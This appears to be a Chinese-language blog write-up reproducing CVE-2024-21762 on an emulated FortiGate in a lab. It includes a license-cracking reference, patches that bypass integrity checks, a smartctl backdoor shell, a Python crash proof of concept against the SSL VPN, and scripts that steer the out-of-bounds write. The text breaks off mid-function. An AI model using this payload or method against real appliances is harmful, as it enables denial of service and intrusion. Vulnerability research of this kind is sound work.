[漏洞复现] Fortigate CVE-2024-21762

# [漏洞复现] Fortigate CVE-2024-21762

因为一些机缘巧合接触到了这个 CVE,发现漏洞利用思路清奇,其中涉及到的部分细节网上的文章也写的很笼统,于是写一个文章记录一下自己的复现过程。

# 环境搭建

下载镜像:

1
-rw-rw-r--  1 akyoi akyoi 104045685  316 14:51 FGT_VM64_KVM-v7.4.0.F-build2360-FORTINET.out.kvm.zip

解压出 fortios.qcow2
使用 qemu 启动,可以写一个脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/bin/sh

sudo pkill qemu
sleep 3 # for gdb connect
# cp ./fortios_7.2.6.1.qcow2 ./fortios.qcow2

sudo qemu-system-x86_64 \
-cpu host \
-m 4096 \
-smp 2 \
-machine q35,accel=kvm \
-drive file=fortios.qcow2,if=virtio,format=qcow2 \
-netdev tap,id=net0,ifname=tap0,script=no,downscript=no \
-device virtio-net-pci,netdev=net0 \
-nographic \
-s

启动后配置 ip 和 sslvpn。证书可以使用 https://github.com/rrrrrrri/fgt-gadgets 进行破解(因为找到的镜像版本比较旧所以直接用就可以了,新版本需要对内核和 init 进行 patch 之后进行 license 的破解)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
config system interface
edit "port1"
set mode static
set ip 192.168.66.2 255.255.255.0
set allowaccess http https ssh telnet ping
next
end

config router static
edit 1
set gateway 192.168.66.1
set device "port1"
next
end

config system dns
set primary 8.8.8.8
set secondary 1.1.1.1
end

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
config system central-management
set mode normal
set type fortimanager
set fmg 192.168.100.219

config server-list
edit 1
set server-type update rating
set server-address 192.168.100.219
next
end

set fmg-source-ip 192.168.66.2
set include-default-servers disable
set vdom root
end

# 破解文件系统校验以及准备工作

这部分跟网上大同小异,所以简要描述了。
通过挂载文件系统可以查看文件。
mount.sh

1
2
3
4
5
6
7
8
9
#! /bin/sh
sudo modprobe nbd max_part=8
sudo qemu-nbd --connect=/dev/nbd0 fortios.qcow2

lsblk /dev/nbd0

sudo mount /dev/nbd0p1 ./p1
sudo mount /dev/nbd0p2 ./p2
sudo mount /dev/nbd0p3 ./p3

umount.sh
1
2
3
4
5
6
#! /bin/sh

sudo umount ./p1
sudo umount ./p2
sudo umount ./p3
sudo qemu-nbd --disconnect /dev/nbd0

之后可以提取到 rootfs 以及 flatkc
gzip 解压 rootfs.gz 之后使用 cpio 解压 rootfs:cpio -idmv < ../rootfs
可以看到 /sbin/init 了
分析可以看到解压那几个 tar.xz 使用的是标准的 tar 和 gz(应该是版本比较旧的问题)
sub_4033E0 遍历那几个 tar.xz 进行解压。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
__int64 __fastcall sub_4033E0(const char *a1)
{
unsigned int v1; // r13d
char v3[528]; // [rsp+0h] [rbp-470h] BYREF
__int128 v4; // [rsp+210h] [rbp-260h] BYREF
__int64 v5; // [rsp+220h] [rbp-250h]
char *v6; // [rsp+228h] [rbp-248h]
__int128 v7; // [rsp+230h] [rbp-240h]
__int128 v8; // [rsp+240h] [rbp-230h]
char s[520]; // [rsp+250h] [rbp-220h] BYREF
unsigned __int64 v10; // [rsp+458h] [rbp-18h]

v10 = __readfsqword(0x28u);
v4 = 0;
v5 = 0;
LODWORD(v4) = 2;
v6 = s;
v7 = 0;
v8 = 0;
snprintf(s, 0x200u, "/%s.tar.xz", a1);
if ( access(s, 0) < 0 )
{
v1 = -1;
printf("[%s:%d] %s doesn't exist\n", "init_loader_decompress_dir", 161, s);
}
else
{
v1 = unpackTarGz((__int64)&v4);
unlink(s);
snprintf(v3, 0x204u, "%s.chk", s);
unlink(v3);
}
return v1;
}

sub_402790 调用外部库实现解压,发现是标准的解压算法。因此 sbin 里面之后一个 init 程序,而不是有着 Fortigate 自己实现的 ftar 和 xz 程序
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
__int64 __fastcall sub_402790(__int64 a1)
{
unsigned int v1; // eax
_QWORD *v2; // r14
int v3; // eax
const char *v4; // r13
__int64 v5; // rax
unsigned int v6; // r15d
__int64 v7; // r12
__int64 v8; // rax
__int64 v9; // r13
int *v11; // rax
char *v12; // rax
__int64 (__fastcall *v13)(); // rax
const char *v14; // rax
int *v15; // rax
char *v16; // rax
int *v17; // rax
char *v18; // rax
__int64 v19; // [rsp+8h] [rbp-1068h]
__int64 (__fastcall *v20)(); // [rsp+10h] [rbp-1060h]
__int64 (__fastcall *v21)(); // [rsp+18h] [rbp-1058h]
_QWORD v22[2]; // [rsp+20h] [rbp-1050h] BYREF
char buf[4104]; // [rsp+30h] [rbp-1040h] BYREF
unsigned __int64 v24; // [rsp+1038h] [rbp-38h]

v24 = __readfsqword(0x28u);
v1 = *(_DWORD *)(a1 + 16);
if ( v1 == 2 )
{
v2 = (_QWORD *)(a1 + 24);
v21 = sub_402770;
goto LABEL_5;
}
if ( v1 <= 2 )
{
v2 = *(_QWORD **)(a1 + 24);
if ( v1 )
v21 = (__int64 (__fastcall *)())&j__archive_read_open_FILE;
else
v21 = sub_402730;
LABEL_5:
v3 = *(_DWORD *)(a1 + 40);
if ( v3 != 1 )
goto LABEL_6;
goto LABEL_24;
}
if ( v1 != 3 )
{
v21 = 0;
v2 = 0;
goto LABEL_5;
}
v2 = v22;
v22[0] = *(_QWORD *)(a1 + 24);
v22[1] = *(_QWORD *)(a1 + 32);
v21 = sub_402780;
v3 = *(_DWORD *)(a1 + 40);
if ( v3 != 1 )
{
LABEL_6:
if ( v3 == 2 )
{
v13 = *(__int64 (__fastcall **)())(a1 + 48);
buf[0] = 0;
v4 = 0;
v20 = v13;
v19 = *(_QWORD *)(a1 + 56);
}
else
{
buf[0] = 0;
v4 = 0;
v19 = a1;
v20 = sub_4025C0;
}
goto LABEL_8;
}
LABEL_24:
v4 = *(const char **)(a1 + 48);
buf[0] = 0;
if ( v4 )
{
if ( !*v4 )
{
v6 = 1;
sprintf(
*(void (__fastcall **)(__int64, __va_list_tag *, __int64, __int64, __int64, __int64, _QWORD, void *, void *))(a1 + 8),
(__int64)"ftar:%u empty path",
187);
return v6;
}
v19 = a1;
v20 = sub_4025C0;
if ( !getcwd(buf, 0x1000u) )
{
v11 = __errno_location();
v6 = 1;
v12 = strerror(*v11);
sprintf(
*(void (__fastcall **)(__int64, __va_list_tag *, __int64, __int64, __int64, __int64, _QWORD, void *, void *))(a1 + 8),
(__int64)"ftar:%u getcwd %s",
191,
v12);
return v6;
}
}
else
{
v19 = a1;
v20 = sub_4025C0;
}
LABEL_8:
v5 = archive_read_new();
v6 = 1;
v7 = v5;
if ( !v5 )
return v6;
archive_read_support_format_tar(v5);
if ( *(_DWORD *)a1 == 1 )
{
archive_read_support_filter_gzip(v7);
}
else if ( *(_DWORD *)a1 == 2 )
{
archive_read_support_filter_xz(v7);
}
if ( ((unsigned int (__fastcall *)(__int64, _QWORD *))v21)(v7, v2) )
{
v6 = 1;
v14 = (const char *)archive_error_string(v7);
sprintf(
*(void (__fastcall **)(__int64, __va_list_tag *, __int64, __int64, __int64, __int64, _QWORD, void *, void *))(a1 + 8),
(__int64)"ftar:%u %s",
215,
v14);
goto LABEL_19;
}
if ( v4 )
{
if ( access(v4, 0) && mkdir(v4, 0x1EDu) )
{
v17 = __errno_location();
v6 = 1;
v18 = strerror(*v17);
sprintf(
*(void (__fastcall **)(__int64, __va_list_tag *, __int64, __int64, __int64, __int64, _QWORD, void *, void *))(a1 + 8),
(__int64)"ftar:%u mkdir %s",
228,
v18);
goto LABEL_19;
}
if ( chdir(v4) )
{
v15 = __errno_location();
v6 = 1;
v16 = strerror(*v15);
sprintf(
*(void (__fastcall **)(__int64, __va_list_tag *, __int64, __int64, __int64, __int64, _QWORD, void *, void *))(a1 + 8),
(__int64)"ftar:%u chdir %s",
233,
v16);
goto LABEL_19;
}
}
v8 = archive_write_disk_new();
v9 = v8;
if ( v8 )
{
v6 = ((__int64 (__fastcall *)(__int64, __int64, __int64))v20)(v7, v8, v19);
archive_write_free(v9);
}
else
{
v6 = 1;
sprintf(
*(void (__fastcall **)(__int64, __va_list_tag *, __int64, __int64, __int64, __int64, _QWORD, void *, void *))(a1 + 8),
(__int64)"ftar:%u",
241);
}
LABEL_19:
archive_read_free(v7);
if ( buf[0] )
chdir(buf);
return v6;
}

之后对文件进行解压

1
2
xz -d bin.tar.xz
tar -xf bin.tar

之后打包:
1
2
3
4
tar -cf bin.tar bin
xz -e bin.tar
rm -rf ./bin
find . | cpio -o --format=newc > ../rootfs

如果后续报错空间不足可以删除 bin 目录下的文件来缩小 rootfs 的体积。
效果:
1
2
3
4
5
6
7
8
9
10
11
12
root@0xAkyOI:/home/akyoi/PWN/CVE/Fortigate/CVE-2024-21762/rootfsdir# xz -d bin.tar.xz
root@0xAkyOI:/home/akyoi/PWN/CVE/Fortigate/CVE-2024-21762/rootfsdir# tar -xf bin.tar
root@0xAkyOI:/home/akyoi/PWN/CVE/Fortigate/CVE-2024-21762/rootfsdir# ls -al ./bin
总计 108844
drwxr-xr-x 2 root root 4096 59 2023 .
drwxrwxr-x 14 akyoi akyoi 4096 316 15:45 ..
lrwxrwxrwx 1 root root 9 59 2023 acd -> /bin/init
lrwxrwxrwx 1 root root 9 59 2023 acs-sdn-change -> /bin/init
lrwxrwxrwx 1 root root 9 59 2023 acs-sdn-status -> /bin/init
lrwxrwxrwx 1 root root 9 59 2023 acs-sdn-update -> /bin/init
lrwxrwxrwx 1 root root 9 59 2023 alarmd -> /bin/init
... ...

可以看到他把基本所有的功能都集成到了 init 程序。
我们可以吧 gdbserver 和 busybox 复制进去,这样就有了正常的功能较为完整的 linuxshell。
为了能从 fortigate 的 shell 过渡到 linuxshell,可以替换掉 smartctl 程序为自己的后门程序执行 busybox,随便用 C 语言写一个然后静态编译即可。
1
2
3
4
5
6
rm ./bin/sh
ln -s /bin/busybox ./bin/sh

-rwxrwxr-x 1 root root 2599072 3月 16 15:49 busybox
-rwxr-xr-x 1 root root 1601440 3月 16 15:49 gdbserver
-rwxr-xr-x 1 root root 832184 3月 16 15:49 smartctl

转 ELF 分析内核
1
vmlinux-to-elf flatkc flatkc-elf

# 内核校验

分析校验文件系统的逻辑:
kernel_init -> kernel_init_freeable -> fgt_verify_initrd 校验文件哈希
校验通过后会执行 /sbin/init 进行解压执行 /bin/init。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
__int64 __fastcall kernel_init(__int64 a1, char *a2)
{
int v2; // edx
int v3; // ecx
int v4; // r8d
int v5; // r9d
int v6; // edx
int v7; // ecx
int v8; // r8d
int v9; // r9d
int v10; // edx
int v11; // ecx
int v12; // r8d
int v13; // r9d
__int64 v14; // rax
int v15; // eax

if ( (unsigned int)kernel_init_freeable(a1, (__int64)a2) )
LABEL_8:
panic((unsigned int)aNoWorkingInitF, (_DWORD)a2, v2, v3, v4, v5);
async_synchronize_full();
jump_label_invalidate_initmem();
free_initmem();
if ( byte_FFFFFFFF81493799 )
{
rcu_barrier_sched();
mark_rodata_ro();
}
else
{
printk((unsigned int)&unk_FFFFFFFF813CEA30, (_DWORD)a2, v6, v7, v8, v9);
}
dword_FFFFFFFF816BFA84 = 2;
numa_default_policy();
rcu_end_inkernel_boot();
off_FFFFFFFF8160F160 = aSbinInit;
printk((unsigned int)&unk_FFFFFFFF813CE887, (unsigned int)aSbinInit, v10, v11, v12, v13);
v14 = getname_kernel(aSbinInit);
a2 = (char *)&off_FFFFFFFF8160F160;
v15 = do_execve(v14, &off_FFFFFFFF8160F160, off_FFFFFFFF8160F040);
v2 = v15;
if ( v15 )
{
if ( v15 != -2 )
{
a2 = aSbinInit;
printk((unsigned int)&unk_FFFFFFFF813CEA58, (unsigned int)aSbinInit, v15, v3, v4, v5);
}
goto LABEL_8;
}
return 0;
}

所以我们要让 0xFFFFFFFF80C7D32C 的返回值是 0
这个在 gdb 调试的时候设置返回值即可。
如果使用常规断点,当 attach 到 bios 引导程序的时候常规的断点就会报错。
为了能增加调试的时候成功的几率,这里使用硬件断点。
发现 kernel_init_freeable 函数里面对 qword_FFFFFFFF81824098 进行了写操作,而且这个变量的引用很少,所以选择它作为目标。
1
watch *0xFFFFFFFF81824098

执行完这个函数就可以设置 RAX=0 了
按理来说用这个重新打包 patch 的镜像也可以 https://github.com/kiler129/recreate-zImage,没有试过。
如果复制 rootfs 的时候显示空间不足,可以进行扩容一下 /dev/sda1 分区:
1
2
3
4
sudo qemu-img create -f qcow2 fortios_temp.qcow2 20G
sudo virt-resize --expand /dev/sda1 fortios.qcow2 fortios_temp.qcow2
mv fortios_temp.qcow2 fortios.qcow2
ls -lh fortios.qcow2

如果你发现使用自己打包的 rootfs.gz 报错 xxxx = xxxx 的错误,可能是 gz 压缩格式不一样,这时候可以直接使用打包的 rootfs 而不是 rootfs.gz,只需要更改 /extlinux.conf 文件即可。

# init 校验

报错如下:

1
2
3
4
System file integrity check failed!

The system is halted.
Power down

在 /bin/init 中查找到引用:
1
2
3
4
.rodata:0000000002D8F1E8 53 79 73 74 65 6D 20 66 69 6C 65 20 69 6E 74 65 67 72 69 74 79 20 63 68 65 63 6B 20 66 61 69 6C     aSystemFileInte db 'System file integrity check failed!',0Ah,0
.rodata:0000000002D8F1E8 65 64 21 0A 00 ; DATA XREF: sub_452D80+32↑o
.rodata:0000000002D8F1E8 ; sub_CB1FD0+2A↑o
.rodata:0000000002D8F20D 00 00 00 align 10h

第二个引用没有直接调用,往上两层就是函数指针了。所以看第一个引用。
第一个引用往上两层就是 main 函数:
1
2
if ( (int)sub_452D80() < 0 )
sub_452BB0();

其中:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
unsigned __int64 sub_452BB0()
{
FILE *v0; // rax
FILE *v1; // r12
int v2; // eax
int v3; // r12d
struct timespec requested_time; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v6; // [rsp+18h] [rbp-18h]

v6 = __readfsqword(0x28u);
sub_455840("do_halt");
v0 = fopen("/etc/shutdown.dat", "w");
if ( v0 )
{
v1 = v0;
fprintf(v0, "%d", 1);
fclose(v1);
sync();
sleep(1u);
}
sub_452A90();
v2 = open("/dev/console", 526593);
v3 = v2;
if ( v2 >= 0 )
{
dprintf(v2, "\r\nThe system is halted.\r\n");
fsync(v3);
close(v3);
}
requested_time.tv_sec = 2;
requested_time.tv_nsec = 0;
while ( nanosleep(&requested_time, &requested_time) == -1 && *__errno_location() == 4 )
;
if ( !fork() )
reboot(1126301404);
while ( pause() )
;
return v6 - __readfsqword(0x28u);
}

明显就是刚才的报错。
所以我们只要让其校验返回为 0 就行了,或者直接去掉调用的指令。
这里直接更改关机函数的逻辑。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Patch前:
.text:0000000000452BB0 ; unsigned __int64 doHalt()
.text:0000000000452BB0 doHalt proc near ; CODE XREF: sub_451FA0+2ED↑p
.text:0000000000452BB0 ; sub_454150+151↓j ...
.text:0000000000452BB0
.text:0000000000452BB0 requested_time = timespec ptr -30h
.text:0000000000452BB0 var_18 = qword ptr -18h
.text:0000000000452BB0 var_8 = qword ptr -8
.text:0000000000452BB0
.text:0000000000452BB0 ; __unwind {
.text:0000000000452BB0 000 55 push rbp
.text:0000000000452BB1 008 BE A5 05 00 00 mov esi, 5A5h
.text:0000000000452BB6 008 BF 00 94 D8 02 mov edi, offset aDoHalt ; "do_halt"
.text:0000000000452BBB 008 48 89 E5 mov rbp, rsp
.text:0000000000452BBE 008 41 54 push r12
.text:0000000000452BC0 010 48 83 EC 28 sub rsp, 28h ; Integer Subtraction
.text:0000000000452BC4 038 64 48 8B 04 25 28 00 00 00 mov rax, fs:28h

Patch后:
.text:0000000000452BB0
.text:0000000000452BB0 ; =============== S U B R O U T I N E =======================================
.text:0000000000452BB0
.text:0000000000452BB0 ; Attributes: bp-based frame
.text:0000000000452BB0
.text:0000000000452BB0 ; unsigned __int64 doHalt()
.text:0000000000452BB0 doHalt proc near ; CODE XREF: sub_451FA0+2ED↑p
.text:0000000000452BB0 ; sub_454150+151↓j ...
.text:0000000000452BB0
.text:0000000000452BB0 requested_time = timespec ptr -30h
.text:0000000000452BB0 var_18 = qword ptr -18h
.text:0000000000452BB0 var_8 = qword ptr -8
.text:0000000000452BB0
.text:0000000000452BB0 ; __unwind {
.text:0000000000452BB0 000 C3 retn ; Return Near from Procedure
.text:0000000000452BB0
.text:0000000000452BB1 ; ---------------------------------------------------------------------------


之后即可成功进入系统

# 调试

执行 diagnose hardware smartctl 执行后门获取 shell
之后拿到 gdb 调试端口

1
kill -9 $(./bin/busybox pidof telnetd) && ./bin/gdbserver 0.0.0.0:23 --attach $(./bin/busybox pidof sslvpnd)

之后就可以进行调试了。
启动的时候如果发现宿主机和 qemu 之间 ping 不通,可以试试执行:
1
2
3
4
5
6
7
8
config system interface
edit "port1"
set status down
next
edit "port1"
set status up
next
end

刷新 fortigate 的接口状态。
同时宿主机记得设置 ip:
1
2
sudo ip addr add 192.168.66.1/24 dev tap0
sudo ip link set tap0 up

# 漏洞复现

# 触发崩溃

发送 poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import socket
import ssl
from pwn import *
TIMEOUT = 5
TARGET_ADDR = "192.168.66.2"
TARGET_PORT = 10443

context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE

def send_request(host, port, data):
address = (host, port)
try:
# 创建连接
s = socket.create_connection(address, timeout=TIMEOUT)
ss = context.wrap_socket(s)

print(f"[*] Sending payload to {host}:{port}...")
ss.sendall(data)

# 增加输出收到的内容
print("[*] Receiving response...")
response = b""
while True:
try:
chunk = ss.recv(4096)

if not chunk:
break
response += chunk
except socket.timeout:
print("[!] socket timeout (no more data)")
break

if response:
print("-" * 30)
# 尝试以 UTF-8 解码,如果失败则输出原始十六进制
try:
print(response.decode('utf-8'))
except UnicodeDecodeError:
print(f"[!] Binary response received:\n{response.hex()}")
print("-" * 30)
else:
print("[!] No response received from server.")

ss.close()
except Exception as e:
print(f"[x] Error: {e}")

data = b"POST / HTTP/1.1\r\n"
data += b"Host: 192.168.66.2:10443\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"Connection: close\r\n"
data += b"\r\n"
data += b"0\r\n"
data += b"A: X\r\n"*89

send_request(TARGET_ADDR, TARGET_PORT, data)

可以看到触发了 Crash:

R12 寄存器的高位被写入了 0x0a0d。

# 关键代码定位

根据网上的信息,我们可以知道问题出现在解析 chunk 的地方。
而调用其一般是通过函数指针。
因此我们看一下崩溃代码附近有没有调用函数指针的。幸运的是附近就有一个函数调用了一堆函数指针,而且经过调试,发现每次建立连接发送 POC 都会经过 5 次循环在这里调用函数指针:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
__int64 __fastcall sub_18B78D0(__int64 a1, int a2, __int64 a3, __int64 a4)
{
__int64 v5; // r13
__int64 v6; // rsi
__int64 v7; // r15
__int64 (*v8)(void); // rax
unsigned int v9; // eax
char v10; // al
__int64 result; // rax
unsigned int (*v12)(void); // rax
__int64 j; // rax
__int64 *v14; // rax
__int64 v15; // rdx
__int64 i; // rax
__int64 k; // rax
__int64 *v18; // rax
__int64 m; // rax
__int64 v20; // rdx
__int64 n; // rax

v5 = *(_QWORD *)(a1 + 664);
v6 = *(_BYTE *)(a1 + 1837) & 0x20;
if ( !v5 || (v7 = *(_QWORD *)(v5 + 112)) == 0 || (a4 = v5 + 96, v5 + 96 == v7) )
{
if ( !(_BYTE)v6 )
{
if ( (*(_BYTE *)(a1 + 1837) & 0x40) == 0 )
{
LABEL_19:
v6 = v5;
if ( (int)sub_18B7550(a1, v5, a3, a4) < 0 )
{
if ( !(unsigned int)sub_18A1D10(a1) )
{
sub_18A1CF0(a1);
return 1;
}
}
else if ( !(unsigned int)sub_18A1D10(a1) )
{
return sub_18B75B0(a1, v6, a3, a4);
}
return 1;
}
return sub_18B75B0(a1, v6, a3, a4);
}
goto LABEL_66;
}
if ( a2 < 0 )
{
if ( !(_BYTE)v6 )
{
v10 = *(_BYTE *)(a1 + 1837) & 0x40;
goto LABEL_15;
}
LABEL_66:
*(_BYTE *)(a1 + 1834) |= 0x80u;
return 0xFFFFFFFFLL;
}
if ( (_BYTE)v6 )
goto LABEL_66;
if ( (_DWORD)a3 )
{
v8 = *(__int64 (**)(void))(32LL * a2 + v7 + 32);
if ( !v8 )
return 0xFFFFFFFFLL;
v9 = v8();
a4 = v5 + 96;
a3 = v9;
v10 = *(_BYTE *)(a1 + 1837) & 0x40;
if ( !(_DWORD)a3 )
{
if ( v10 )
goto LABEL_10;
v6 = (unsigned int)a2;
*(_DWORD *)(v7 + 32LL * a2 + 16) = sub_18B7820(a1, (unsigned int)a2, 1, a4);
if ( (*(_BYTE *)(a1 + 1837) & 0x40) != 0 )
return sub_18B75B0(a1, v6, a3, a4);
return 0;
}
}
else
{
v12 = *(unsigned int (**)(void))(32LL * a2 + v7 + 40);
if ( !v12 )
return 0xFFFFFFFFLL;
a3 = v12();
v10 = *(_BYTE *)(a1 + 1837) & 0x40;
if ( v10 )
{
LABEL_10:
if ( (_DWORD)a3 == 7 )
return 0xFFFFFFFFLL;
return sub_18B75B0(a1, v6, a3, a4);
}
a4 = v5 + 96;
if ( !(_DWORD)a3 )
{
v6 = (unsigned int)a2;
*(_DWORD *)(v7 + 32LL * a2 + 20) = sub_18B7820(a1, (unsigned int)a2, a3, v5 + 96);
if ( (*(_BYTE *)(a1 + 1837) & 0x40) != 0 )
return sub_18B75B0(a1, v6, a3, a4);
return 0;
}
}
LABEL_15:
if ( v10 )
goto LABEL_10;
switch ( (int)a3 )
{
case 0:
return (unsigned int)a3;
case 1:
v15 = *(_QWORD *)(*(_QWORD *)(v5 + 112) + 8LL);
if ( v15 == a4 )
return 0xFFFFFFFFLL;
for ( i = 0; i != 40; i += 8 )
{
if ( *(_QWORD *)(a1 + i + 616) )
{
*(_DWORD *)(v15 + 4 * i + 16) = *(_DWORD *)(v15 + 4 * i + 24);
*(_DWORD *)(v15 + 4 * i + 20) = *(_DWORD *)(v15 + 4 * i + 28);
}
}
*(_QWORD *)(v5 + 112) = *(_QWORD *)(*(_QWORD *)(v5 + 112) + 8LL);
return 0;
case 2:
v18 = *(__int64 **)(v5 + 112);
goto LABEL_46;
case 3:
v14 = *(__int64 **)(v5 + 112);
goto LABEL_40;
case 4:
a3 = **(_QWORD **)(v5 + 112);
if ( a3 == a4 )
goto LABEL_19;
for ( j = 0; j != 40; j += 8 )
{
if ( *(_QWORD *)(a1 + j + 616) )
{
*(_DWORD *)(a3 + 4 * j + 16) = *(_DWORD *)(a3 + 4 * j + 24);
*(_DWORD *)(a3 + 4 * j + 20) = *(_DWORD *)(a3 + 4 * j + 28);
}
}
v14 = **(__int64 ***)(v5 + 112);
*(_QWORD *)(v5 + 112) = v14;
LABEL_40:
a3 = *v14;
if ( *v14 == a4 )
goto LABEL_19;
for ( k = 0; k != 40; k += 8 )
{
if ( *(_QWORD *)(a1 + k + 616) )
{
*(_DWORD *)(a3 + 4 * k + 16) = *(_DWORD *)(a3 + 4 * k + 24);
*(_DWORD *)(a3 + 4 * k + 20) = *(_DWORD *)(a3 + 4 * k + 28);
}
}
v18 = **(__int64 ***)(v5 + 112);
*(_QWORD *)(v5 + 112) = v18;
LABEL_46:
a3 = *v18;
if ( *v18 == a4 )
goto LABEL_19;
for ( m = 0; m != 40; m += 8 )
{
if ( *(_QWORD *)(a1 + m + 616) )
{
*(_DWORD *)(a3 + 4 * m + 16) = *(_DWORD *)(a3 + 4 * m + 24);
*(_DWORD *)(a3 + 4 * m + 20) = *(_DWORD *)(a3 + 4 * m + 28);
}
}
*(_QWORD *)(v5 + 112) = **(_QWORD **)(v5 + 112);
result = 0;
break;
case 5:
v20 = *(_QWORD *)(v5 + 112);
if ( v20 && a4 == v20 )
v20 = 0;
for ( n = 0; n != 40; n += 8 )
{
if ( *(_QWORD *)(a1 + n + 616) )
{
*(_DWORD *)(v20 + 4 * n + 16) = *(_DWORD *)(v20 + 4 * n + 24);
*(_DWORD *)(v20 + 4 * n + 20) = *(_DWORD *)(v20 + 4 * n + 28);
}
}
return 0;
case 6:
goto LABEL_19;
default:
return 0xFFFFFFFFLL;
}
return result;
}

经过崩溃 POC 的调试,发现调用的这个函数疑似处理 chunk 的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 __fastcall sub_18A1FB0(__int64 a1)
{
__int64 v1; // rbx
int v2; // eax
_BYTE v4[8200]; // [rsp+0h] [rbp-2020h] BYREF
unsigned __int64 v5; // [rsp+2008h] [rbp-18h]

v1 = *(_QWORD *)(a1 + 736);
v5 = __readfsqword(0x28u);
do
v2 = sub_178D0B0(v1, v4, 8190);
while ( v2 > 0 );
if ( v2 && (unsigned int)sub_17839D0(*(_QWORD *)(*(_QWORD *)(v1 + 8) + 40LL)) - 1 <= 4 )
return 0;
else
return 6;
}

其中 sub_178D0B0 中有很多代码往内存写入 0xd 和 0xa,我们对每个地方下断点即可观察写入到了哪里。
经过一步一步调试,发现之前崩溃的 R12 是在这个函数栈帧返回后的好几个栈帧才被 pop 进 R12 的,然后强制解引用非法指针导致崩溃。

# 控制写入地址

# 一种可行的方法

经过分析我们可以推断出存在越界写 2 字节,但是在当前的 POC 只能导致崩溃,并不能拿到更有效的利用。
之后通过动态调试以及静态逆向,我们可以了解到其存在 tailer 后写入那两个字节的规则,并且写出递推的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def calculate_sequence(a0, steps):
"""
推算并打印数列的前 steps 项
"""
base = 0x5c60
current_value = base + a0

print(f"第 0 项: {hex(current_value)} ({current_value})")

for n in range(1, steps,2):
# 每一项都在前一项的基础上加上 2 * (a0 + n)
increment = a0 + n + 3
current_value += increment
print(f"第 {n} 项: {hex(current_value)} ({current_value})")

# --- 使用示例 ---
# 假设 a0 = 10,计算前 5 项
a0_value = 199
calculate_sequence(a0_value, 50*2)

并且可以爆破出我们需要什么样的 payload 才能写入到偏移多少的地方:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def brute_force_a0(target_hex, max_a0=1000, max_steps=500):
target = int(target_hex, 16)
base = 0x5c60

print(f"开始搜索目标值: {target_hex} ({target})...\n")
print(f"{'a0':<10} | {'项数 (n)':<10} | {'最终计算值':<15}")
print("-" * 40)

found = False
for a0 in range(max_a0):
current_value = base + a0

# 检查第 0 项
if current_value == target:
print(f"{a0:<10} | {'0':<10} | {hex(current_value)}")
found = True

# 模拟代码中的循环逻辑
for n in range(1, max_steps, 2):
increment = a0 + n + 3
current_value += increment

if current_value == target:
print(f"{a0:<10} | {n:<10} | {hex(current_value)}")
found = True
break
elif current_value > target:
# 如果当前值已经超过目标,提前跳出当前 a0 的检查
break

if not found:
print("在指定的范围内未找到匹配的 a0。")

# 执行搜索
brute_force_a0("0x7cb8", max_a0=5000, max_steps=200)

比如这个脚本就是爆破从 0x5c60 开始我们需要在 tailer 写入多少 0 才能写入到 0x7cb8 那里。

# 更简单的办法

当然网上也有更简单的方法
函数在处理 tailer 的时候会通过 hex 解码获取数值,其会跳过先导的 0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
__int64 __fastcall hexdecode(unsigned __int8 *a1)
{
unsigned __int8 *v1; // r12
unsigned __int8 i; // bl
const unsigned __int16 **v3; // rax
unsigned __int8 *v4; // rcx
__int64 v5; // r8
const unsigned __int16 *v6; // rdx
__int64 v7; // rbx
unsigned __int8 v8; // al

v1 = a1;
for ( i = *a1; i == 48; ++v1 )
i = v1[1];
